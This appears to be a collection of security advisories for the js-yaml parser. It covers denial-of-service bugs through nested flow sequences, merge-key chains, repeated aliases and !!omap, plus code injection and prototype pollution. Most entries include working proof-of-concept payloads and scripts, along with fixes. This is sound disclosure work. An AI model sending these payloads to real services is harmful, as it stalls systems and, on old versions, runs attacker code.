js-yaml known bugs

### Summary Parsing a small YAML document can take exponential time. An application that calls `load()` or `loadAll()` on untrusted input can be hung by a payload under 200 bytes. ### Details When an entry in a flow sequence turns out to be a `key: value` pair, the parser rewinds and parses that entry a second time as the key. If the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default `maxDepth` of 100 does not help, because the time is already unmanageable at about 30 to 40 levels. Root cause, potentially the: `readFlowCollection` in [parser.ts](https://github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts), the `restoreState` followed by a second `parseNode` further down. ### PoC ```javascript const yaml = require('js-yaml') const n = 30 yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n)) ``` With default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with `n`. ### Impact Denial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.

### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Versions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected. An example payload is `{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1` which returns the object { "1553107949161": 1 } ## Recommendation Upgrade to version 3.13.1.

### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }

### Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

### Summary `js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`. ### Details In `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`): ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); ``` For a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work. ### PoC (runtime-confirmed on v5.2.0) ```js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA }); ``` ### Impact Any application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load). This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export). ### Fix Replace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup: ```js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list }); ```

### Impact In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. ### Patches Problem is patched in js-yaml 4.1.1 and 3.14.2. ### Workarounds You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default). ### References https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

Versions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service. ## Recommendation Upgrade to version 3.13.0.

Versions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer. ## Proof of Concept ``` const yaml = require('js-yaml'); const x = `test: !!js/function > function f() { console.log(1); }();` yaml.load(x); ``` ## Recommendation Update js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.